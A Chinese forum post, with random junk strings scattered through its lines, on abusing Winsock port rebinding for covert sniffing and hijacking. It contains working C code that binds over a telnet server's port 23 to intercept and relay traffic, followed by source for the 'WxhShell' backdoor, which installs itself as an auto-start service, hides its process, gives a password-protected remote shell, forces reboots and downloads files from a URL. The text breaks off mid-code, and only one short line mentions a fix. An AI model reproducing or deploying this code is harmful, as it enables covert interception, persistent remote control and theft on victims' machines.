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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _'*Vcu`Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3|0wD:Dy  
c 98^~vR]]  
  saddr.sin_family = AF_INET; ^\f1zg9I  
hNRN`\5Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mXPA1#qo  
-u$U~?|`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {aVRvZH4  
f=EWr8mno  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ql1J?9W  
kf:Nub+h t  
  这意味着什么?意味着可以进行如下的攻击: eY V Jk7  
YlhyZ&a,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D#k ~lEPub  
u~~H'*EM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %MM)5MsB  
`9Rj;^NJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \zT{zO&!  
BO,xA-+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Be~ '@  
aN;c.1TY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %HD0N&  
W]oILL"d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 AX]cM)w  
OQJ#>*?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6QYHPz  
"(YfvO+  
  #include #z5$_z?_  
  #include 4M )oA|1w  
  #include $vLGX>H  
  #include    98rO]rg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .Cu0G1  
  int main()  u*m|o8  
  { @s|G18@  
  WORD wVersionRequested; Y'+mC  
  DWORD ret; GboZ T68  
  WSADATA wsaData; B; ^1W{%J  
  BOOL val; vNQ|tmn  
  SOCKADDR_IN saddr; b:Tv Ta  
  SOCKADDR_IN scaddr; moD)^':.  
  int err; LL_@nvu}M  
  SOCKET s; >H,5MM!  
  SOCKET sc; H oO1_{q"  
  int caddsize; 6ltV}Wt-  
  HANDLE mt; _oE 7<  
  DWORD tid;   =X;h _GQ  
  wVersionRequested = MAKEWORD( 2, 2 ); )agrx76]3w  
  err = WSAStartup( wVersionRequested, &wsaData ); v:gdG|n"  
  if ( err != 0 ) { M%#F"^8v  
  printf("error!WSAStartup failed!\n"); +[` )t/   
  return -1; GO UO  
  } " V4@nv  
  saddr.sin_family = AF_INET; aQj"FUL  
   pHzl/b8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v[\GhVb  
= G>Y9Sc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +,zV [\  
  saddr.sin_port = htons(23); ?BR Z){)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2t;3_C  
  { P#9Pq,I  
  printf("error!socket failed!\n"); ~^J9v+  
  return -1; 8I7JsCj  
  } 2<E@f0BVAy  
  val = TRUE; wWVB'MRXB,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X2mZ~RB(p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pD]2.O  
  { q\/xx`L  
  printf("error!setsockopt failed!\n"); AHzm9U @  
  return -1; +fN2%aC  
  } ?!u9=??  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; OyQ[}w3o|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s{:Thgv,9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |*g\-2j{  
(\%J0kR3[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~g}blv0q+B  
  { lXRB"z  
  ret=GetLastError(); r-_-/O"l  
  printf("error!bind failed!\n"); eB9F35[  
  return -1; $+ORq3  
  } uMjL>YLq{?  
  listen(s,2); g: YUuZ  
  while(1) i(4.7{*  
  { gNC'kCx0c  
  caddsize = sizeof(scaddr); BKK@_B"  
  //接受连接请求 mGo NT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 63'L58O  
  if(sc!=INVALID_SOCKET) 5R6QZVc  
  { NNBT.k3)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nK`H;k  
  if(mt==NULL) U45-R -  
  { Pf~0JNnc  
  printf("Thread Creat Failed!\n"); *G[` T%g  
  break; `_x#`%!#2  
  } mr,G H x  
  } +hcJ!$J7  
  CloseHandle(mt); X([@}ren  
  } 75iudki  
  closesocket(s); 2RdpVNx\y  
  WSACleanup(); tILnD1q  
  return 0; CdKs+x&tZ  
  }   TA+#{q+a  
  DWORD WINAPI ClientThread(LPVOID lpParam) "?6R"Vk?:  
  { f\;f&GI  
  SOCKET ss = (SOCKET)lpParam; m4^VlE,`Dh  
  SOCKET sc; y\:,.cZ+TQ  
  unsigned char buf[4096]; p7L6~IN  
  SOCKADDR_IN saddr; Jw^h<z/Ux  
  long num; Pk5 %lu  
  DWORD val; y!x-R !3  
  DWORD ret; MEOfVh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E O"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M"foP@  
  saddr.sin_family = AF_INET; Mo]iVj8~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +&* >FeJY  
  saddr.sin_port = htons(23); a YY1*^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u4xJ-Vu  
  { KP!7hJhw  
  printf("error!socket failed!\n");  nyZ?m  
  return -1; uN0'n}c;1.  
  } ~Fo`Pr_  
  val = 100; ?sxf_0*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I#xhmsF  
  { I.o3Old  
  ret = GetLastError(); &-x/c\jz  
  return -1; D"K! ELGW  
  } xOZvQ\%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q;@w\_ OR  
  { _he~Y2zFz  
  ret = GetLastError(); xEB 4oQ5  
  return -1; #+^l3h MK  
  } )5TX3#=;(G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hDbZ62DDN  
  { ]@qD4:  
  printf("error!socket connect failed!\n"); |[!0ry*N%  
  closesocket(sc); xRF_'|e  
  closesocket(ss);  <JZa  
  return -1; yCv"(fNQ  
  } FWo`oJeN  
  while(1) s%?<:9  
  { V{{UsEVO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XX *f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0qBXL;sE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x!onan  
  num = recv(ss,buf,4096,0); M<@9di7c  
  if(num>0) r?x~`C  
  send(sc,buf,num,0); z=LO$,JW`  
  else if(num==0) '=IuwCB|;  
  break; G+iJS!=  
  num = recv(sc,buf,4096,0); Kt_HJ!  
  if(num>0) [ <Q{  
  send(ss,buf,num,0); V.[b${  
  else if(num==0) `~@}f"c`u  
  break; }J=zO8OL  
  } qt%/0  
  closesocket(ss); [{J1b  
  closesocket(sc); UL" <V  
  return 0 ; T{T> S%17~  
  } 1'5 !")r  
hflDVGBW  
+7K]5p;!~  
========================================================== Uzk_ae  
cr{dl\ Na  
下边附上一个代码,,WXhSHELL p-/}@r3Z+  
2aQ}| `  
========================================================== [oH,FSuO!2  
CjA}-ee  
#include "stdafx.h" w2tkJcQ3  
#p=Wt&2  
#include <stdio.h> F#{ PJ#  
#include <string.h> U3w*z6OG  
#include <windows.h> g: "Hg-s  
#include <winsock2.h> wD[qE  
#include <winsvc.h> 4_S%K&  
#include <urlmon.h> Zn'y"@%t[  
T0}P 'q  
#pragma comment (lib, "Ws2_32.lib") sQT,@'"  
#pragma comment (lib, "urlmon.lib") Jaf=qwZ/`  
dGc>EZSdj  
#define MAX_USER   100 // 最大客户端连接数 5xG/>f n  
#define BUF_SOCK   200 // sock buffer K9Pw10g'  
#define KEY_BUFF   255 // 输入 buffer t{/ EN)J  
14\!FCe)!  
#define REBOOT     0   // 重启 +'I8COoiv%  
#define SHUTDOWN   1   // 关机 . LNqU#a  
to 3i!b  
#define DEF_PORT   5000 // 监听端口 yM34GS=,J  
Q&9& )8-  
#define REG_LEN     16   // 注册表键长度 @aGS~^U h  
#define SVC_LEN     80   // NT服务名长度 j! cB  
wmPpE_ {  
// 从dll定义API JGk,u6K7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n1c Q#u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M, UYDZ',  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O4 Y;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jNseD  
YJwz*@l  
// wxhshell配置信息 sfNAGez  
struct WSCFG { K#p&XIY,  
  int ws_port;         // 监听端口 |&%l @X 6  
  char ws_passstr[REG_LEN]; // 口令 "i*Gi \U  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~LzTqMHM  
  char ws_regname[REG_LEN]; // 注册表键名 >:P3j<xTv  
  char ws_svcname[REG_LEN]; // 服务名 RwwX;I"o%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^A$~8?f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UJF }Ye  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Web8"8eD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !PrO~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L9U<E $%#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l+ <x  
]t3 NA*mM  
}; AuYi$?8|5  
I!Za2?  
// default Wxhshell configuration VbX$i!>8  
struct WSCFG wscfg={DEF_PORT, `o*g2fW!  
    "xuhuanlingzhe", |wj/lX7y  
    1, >Y< y]vM:  
    "Wxhshell", ^q$vyY   
    "Wxhshell", Jq`fD~(7  
            "WxhShell Service", V1;Qt-i  
    "Wrsky Windows CmdShell Service", 7+u%]D!  
    "Please Input Your Password: ", OiY2l;68  
  1, 0?t!tugG  
  "http://www.wrsky.com/wxhshell.exe", XT_BiZ%l5O  
  "Wxhshell.exe" ?8 C+wW  
    }; et]*5Y6  
;3sT>UB  
// 消息定义模块 U^0vLyqW^5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .< vg[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7\U1K^q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *id|za|:k  
char *msg_ws_ext="\n\rExit."; {UZli[W1  
char *msg_ws_end="\n\rQuit."; h?YjG^'9  
char *msg_ws_boot="\n\rReboot..."; 0QIocha  
char *msg_ws_poff="\n\rShutdown..."; emS+%6U  
char *msg_ws_down="\n\rSave to "; y$V{yh[:  
NI s4v(!  
char *msg_ws_err="\n\rErr!"; MgMLfgt"V  
char *msg_ws_ok="\n\rOK!"; Nd!2 @?V4  
KwQO,($,]  
char ExeFile[MAX_PATH]; )SUN+YV^  
int nUser = 0; nZ7v9o9  
HANDLE handles[MAX_USER]; M7Hk54U +t  
int OsIsNt; -{b1&  
6l vx  
SERVICE_STATUS       serviceStatus; @7^#_772  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 16G v? I h  
qryt1~Dq  
// 函数声明 X0Oq lAw  
int Install(void); )Y&De)=  
int Uninstall(void); EJtU(HmW  
int DownloadFile(char *sURL, SOCKET wsh); Z#MODf0H@  
int Boot(int flag); 'H cDl@E  
void HideProc(void); 5!ReW39c ;  
int GetOsVer(void); :M[E-j;  
int Wxhshell(SOCKET wsl); 0RSa{iS*A  
void TalkWithClient(void *cs); 4!}fCP ty  
int CmdShell(SOCKET sock); #!D5DK@+  
int StartFromService(void); <7] z'  
int StartWxhshell(LPSTR lpCmdLine); nG%j4r ;  
VD#^Xy4% r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); My`%gP~%g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P/PS(`  
(&nl}_`7?,  
// 数据结构和表定义 z:G9Uu3H(  
SERVICE_TABLE_ENTRY DispatchTable[] = 0\~Zg  
{ -5ec8m8  
{wscfg.ws_svcname, NTServiceMain}, Y) t}%62  
{NULL, NULL} 6HqK%(  
}; YYvs~?bAy  
3CHte*NL=  
// 自我安装 QF>[cdl?8  
int Install(void) 'Lw\n O.  
{ Ul'G g  
  char svExeFile[MAX_PATH]; )w` Nkx  
  HKEY key; Hf-F-~E  
  strcpy(svExeFile,ExeFile); %ej"ZeM  
BmJ?VJ}Y  
// 如果是win9x系统,修改注册表设为自启动 }I`|*6Up  
if(!OsIsNt) { 8say"Qz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q8~pIv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M1M]]fT0ME  
  RegCloseKey(key); -)I_+N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,/ : )FV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mDmWTq\  
  RegCloseKey(key); r4lG 5dV  
  return 0; PYf`a`dH  
    } db XG?K][  
  } Ji[w; [qL  
} g:clSN,  
else { V V4_  
k1H0hDE  
// 如果是NT以上系统,安装为系统服务 C/Z"W@7#;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TatyD**(  
if (schSCManager!=0) yEny2q}  
{ -&A[{m<,>  
  SC_HANDLE schService = CreateService Mww]l[1'EL  
  ( D{l((t3=T  
  schSCManager, .0|J+D  
  wscfg.ws_svcname, 9 $S,P|  
  wscfg.ws_svcdisp, j&pgq2Kl  
  SERVICE_ALL_ACCESS, p{J_d,JH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E)E!  
  SERVICE_AUTO_START, F1=+<]!  
  SERVICE_ERROR_NORMAL, HW G~m:km  
  svExeFile, S_CtE M  
  NULL, YC_^jRB8n  
  NULL, Vel;t<1  
  NULL, u@E M,o  
  NULL, ZkJM?Fzq  
  NULL dW`D?$(@,  
  ); \}=b/FL=U  
  if (schService!=0) y {]%,  
  { Chup %F  
  CloseServiceHandle(schService); |@HdTGD  
  CloseServiceHandle(schSCManager); w3Ohm7N[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _2Z3?/Y  
  strcat(svExeFile,wscfg.ws_svcname); ~-GDheA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [s2V-'2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  c$|dK  
  RegCloseKey(key); 9-^p23.@[j  
  return 0; gNd J=r4  
    } YeLOd  
  } b9N4Gr  
  CloseServiceHandle(schSCManager);  o %%fO  
} |7$h@KF=S  
} TH!8G,(w  
\G@6jn1G(  
return 1; SA1/U  
} "/?qT;<$)  
0d ->$gb  
// 自我卸载 | dwxea  
int Uninstall(void) VWv0\:,G  
{ ? ^CGJ1  
  HKEY key; wjJ1Psnx  
(O2HB-<rY  
if(!OsIsNt) { eeZysCy+DY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N0[I2'^.  
  RegDeleteValue(key,wscfg.ws_regname); n y)P  
  RegCloseKey(key); YMTA`T(+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ([-=NT}Aq  
  RegDeleteValue(key,wscfg.ws_regname); o z{j2%  
  RegCloseKey(key); Z5L1^  
  return 0; zYdtQjv  
  } )X;cS} yp  
} ef;L|b%pp  
} N{t :%[  
else { N08n/u&cr,  
P{!:pxu[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fNPj8\#V,  
if (schSCManager!=0) EiN)TB^]  
{ w WU_?Dr_~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); znO00qX  
  if (schService!=0) dt+  4$  
  { nln6:^w  
  if(DeleteService(schService)!=0) { i q:Q$z&  
  CloseServiceHandle(schService); ^u!Tyb8Dk  
  CloseServiceHandle(schSCManager); Q;O)>K  
  return 0; ~x"79=!W  
  } vCSB8R  
  CloseServiceHandle(schService); c/Yi0Rl)  
  } WnzPPh3PJ  
  CloseServiceHandle(schSCManager); JvL'gJ$70  
} )K>@$6H +2  
} DS}rFU  
l6c%_<P|  
return 1; uO(guA,C  
} BQ&q<6Tk  
V )k, 9=  
// 从指定url下载文件 ,l .U^d6>  
int DownloadFile(char *sURL, SOCKET wsh) N%A`rY}u  
{ y!N)@y4  
  HRESULT hr; ai jGz<  
char seps[]= "/"; LIC~Kehi  
char *token; l\;mP.!  
char *file; Jx$#GUl#j  
char myURL[MAX_PATH]; |QOJ9~hxD  
char myFILE[MAX_PATH]; Y;F R"~^  
?s)sPM?  
strcpy(myURL,sURL); ,Kf8T9z`  
  token=strtok(myURL,seps); -wQ^oOJ  
  while(token!=NULL) J%:/<uCmZ  
  { ]esLAo  
    file=token; Gj19KQ1G  
  token=strtok(NULL,seps); a@y5JxFAy  
  } +c8AbEewg  
0nn]]B@l  
GetCurrentDirectory(MAX_PATH,myFILE); ,/`E|eG1G  
strcat(myFILE, "\\"); C!{AnWf  
strcat(myFILE, file); NS4'IR=;E!  
  send(wsh,myFILE,strlen(myFILE),0); r`R~{;oT  
send(wsh,"...",3,0); 2HGD{;6>v{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ob0 8xGj  
  if(hr==S_OK) V<2fPDZ  
return 0; $l,Zd6<1q  
else JkDPuTXD  
return 1; #;LMtDaL  
#C1A5JE&  
} ,r 2VP\hLh  
V.Ba''E7  
// 系统电源模块 ]vQ?]d?>a  
int Boot(int flag) Yuo1'gE+  
{ ?QSx8d  
  HANDLE hToken; 20l_ay  
  TOKEN_PRIVILEGES tkp; CLY6 YB' R  
afF+*\xXN  
  if(OsIsNt) { Wx?&igh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Cld<D5\|f+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8| e$  
    tkp.PrivilegeCount = 1; 9;]wF8h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5Z6-R}uXk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .pIR/2U\F  
if(flag==REBOOT) { e(w/m(!Wny  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) { w8 !K  
  return 0; ]\RSHz  
} { LT4u ]#  
else { Z-t}6c'Kg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :-u-hO5*8  
  return 0; G?-`>N-u  
} Vv]$\`d#  
  } Q5y q"/=[a  
  else { ";_K x={  
if(flag==REBOOT) { PG6L]o^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7mn,{2  
  return 0; #5-A&  
} L)/6kt=  
else { 3aO;@GNJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x\`RW 3 K  
  return 0; |rxKCzjm  
} G&@-R{i  
} nGx ~) T  
=s0g2Zv"\  
return 1; 4\1wyN /}M  
} b ~/Wnp5  
DhWWN>I  
// win9x进程隐藏模块 D(qHf9  
void HideProc(void) P(pd0,%i;a  
{ ]HyHz9QkL  
G}P)vfcH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L{2b0Zh'  
  if ( hKernel != NULL ) U6juS/  
  { }O.LPQ0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VR4E 2^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); : 'd76pM-  
    FreeLibrary(hKernel); emv;m/&8  
  } (|<h^] y3  
Bw 3F7W~l  
return; 5 6Sh  
} h-r6PY=i  
Nt zq"ces)  
// 获取操作系统版本 QT1:> k  
int GetOsVer(void) ^V<J69ny|9  
{ 6%ZHP?  
  OSVERSIONINFO winfo; H_?;h-Y]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1UW s_|X!  
  GetVersionEx(&winfo); e(}oq"'z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k;;nE o~6  
  return 1; WYwzo V-  
  else _x\-!&[p  
  return 0; +R "AA_A?  
} *CeQY M  
#Rin*HL##  
// 客户端句柄模块 /B,B4JI)/  
int Wxhshell(SOCKET wsl) ?CH?kP  
{ 0NQ7#A  
  SOCKET wsh; MV0<^/p|  
  struct sockaddr_in client; 4ef*9|^x#  
  DWORD myID; a9#W9eP  
w::r?.9  
  while(nUser<MAX_USER) ;JOD!|  
{ "H5&3sF2  
  int nSize=sizeof(client); a3O nW\N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fDU+3b  
  if(wsh==INVALID_SOCKET) return 1; cP*c(k~N  
 : cFF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rD0k%-{{  
if(handles[nUser]==0) M MAAHo  
  closesocket(wsh); h'B9|Cm  
else _Fy4DVCg  
  nUser++; #04{(G|~+E  
  } ,'FD}yw4v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $Q8P@L)[  
Hs[}l_gYn  
  return 0; M0O>Ljo4RN  
} R(:  4s  
H9%l?r5  
// 关闭 socket T@(6hEmP,  
void CloseIt(SOCKET wsh) LKqRvPnh  
{ cJP'ShnCh  
closesocket(wsh); `aO.=:O_  
nUser--; <9@&oN+T  
ExitThread(0); "0|BoG  
} m9#}X_&x  
X,>(Y8  
// 客户端请求句柄 U:qF/%w  
void TalkWithClient(void *cs) ?N4A9W9  
{ {B@*DQv  
.=Pm>o/,  
  SOCKET wsh=(SOCKET)cs; UUl*f!& o  
  char pwd[SVC_LEN]; n<{aPLQ  
  char cmd[KEY_BUFF]; {hxW,mmA  
char chr[1]; M} O[`Fx{W  
int i,j; s,84*6u  
Dp!;7e s|  
  while (nUser < MAX_USER) { yrO?Np  
Jf_]Z  
if(wscfg.ws_passstr) { +yth_9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); De;,=BSp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (tJ91SBl  
  //ZeroMemory(pwd,KEY_BUFF); Qn *6D  
      i=0; [/?c@N,  
  while(i<SVC_LEN) { v-ThdE$G#  
^[en3aQ  
  // 设置超时 ?Rlgv5P!  
  fd_set FdRead; Y.E?;iS  
  struct timeval TimeOut; wOjv[@d  
  FD_ZERO(&FdRead); DWuRJ  
  FD_SET(wsh,&FdRead); ?#4+r_dP  
  TimeOut.tv_sec=8; PM@XtL7J  
  TimeOut.tv_usec=0; j\! e9M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z%Vr+)!4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?hKm&B;d  
pw!@Q?R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {n\6BTs  
  pwd=chr[0]; !2(.$}E  
  if(chr[0]==0xd || chr[0]==0xa) { Cq gJ  
  pwd=0; yP x\ltG3  
  break; 2.]~*7   
  } Y]~IY?I  
  i++; Bk+{}  
    } P2>:p%Z  
SAP;9*f1\  
  // 如果是非法用户,关闭 socket 8AryIgy>@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D^n xtuT*  
} >Z}@7$(7!~  
ja?s@Y}-9s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VW{,:Ya  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }bp.OV-+  
3a%xn4P  
while(1) { ` %uK0qw"  
S:#e8H_7m]  
  ZeroMemory(cmd,KEY_BUFF); Im6U_JsNZh  
`\wUkmH  
      // 自动支持客户端 telnet标准   E evw*;$x  
  j=0; 1XCmM Z  
  while(j<KEY_BUFF) { L+73aN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &T7cH>E'K^  
  cmd[j]=chr[0]; {ZG:M}ieN  
  if(chr[0]==0xa || chr[0]==0xd) { MZ)T0|S_  
  cmd[j]=0; A hR0zg  
  break; E&'#=K[  
  } F%}7cm2  
  j++; \Y9I~8\ gB  
    } vuZf#\zh}  
YhS{$ Z  
  // 下载文件 mzu<C)9d,  
  if(strstr(cmd,"http://")) { z<t>hzl 7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <E SvvTf  
  if(DownloadFile(cmd,wsh)) U3/8A:$y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0F1u W>D1  
  else # J]~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;t|,nz4kJ  
  } aF!WIvir  
  else { M"B@M5KT  
E.9^&E}PG  
    switch(cmd[0]) { ~ibF M5m  
  of=ql  
  // 帮助 vffH  
  case '?': { "(<%Ua  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @O'I)(To  
    break; q4+Yv2e <r  
  } >d97l&W  
  // 安装 J)#S-ZB+'k  
  case 'i': { ac|/Y$\w  
    if(Install()) .wD>Gs{sH[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4j^bpfb,  
    else e9lOk)`t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %;tJQ%6-.S  
    break; w]F!2b!  
    } GoazH?%  
  // 卸载 "ct58Y@   
  case 'r': { T ~h.=5  
    if(Uninstall()) t?HF-zQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #v+;:  
    else hox< vr4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j-QGOuvW  
    break; lM$t!2pRB  
    } >%l:Dw\A:  
  // 显示 wxhshell 所在路径 oJh"@6u6K  
  case 'p': { D&-vq,c  
    char svExeFile[MAX_PATH]; i+I0k~wY  
    strcpy(svExeFile,"\n\r"); /~tP7<7A  
      strcat(svExeFile,ExeFile); :s]\k%"  
        send(wsh,svExeFile,strlen(svExeFile),0); FD))'!>  
    break;  jC4O`  
    } o<nS_x  
  // 重启 &1l~&,,  
  case 'b': { j$mz3Yk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0X#+#[W  
    if(Boot(REBOOT)) !UVk9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \OT6L'l],  
    else { bLco:-G1E1  
    closesocket(wsh); G%$}WA]|  
    ExitThread(0); Td&d,;  
    } p jd o|  
    break; d+e0;!s~O  
    } s*.3ZS5  
  // 关机 aDh|48}X  
  case 'd': { &Q~)]|t  
